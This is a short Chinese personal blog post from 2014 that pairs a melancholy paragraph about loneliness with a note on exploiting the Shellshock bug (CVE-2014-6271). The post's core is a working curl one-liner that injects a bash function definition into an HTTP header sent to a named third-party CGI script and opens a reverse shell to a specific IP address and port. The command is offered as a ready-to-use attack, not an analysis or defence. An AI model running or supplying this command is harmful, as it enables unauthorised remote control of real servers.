Sh4dow's Blog

活了二十几年，从来没有人给过我一次意外感动或惊喜，也没有人在我生日的时候给过我特别的礼物，生病的时候得到的只是一些不在身边的语言安慰，也不见谁真正的照顾过自己，甚至有的时候自己蒙头睡一觉就好了，也有人喜欢过我，但是从没见谁坚持过。

好多人说利用不上来，其实直接反弹shell 就可以了。

curl

https://searches.rootsweb.ancestry.com/cgi-bin/Genea/soundex.sh -H 'X: () { :;}; /bin/bash -i >& /dev/tcp/198.100.105.84/8080 0>&1'

2014-09-25

CVE-2014-6271漏洞利用方法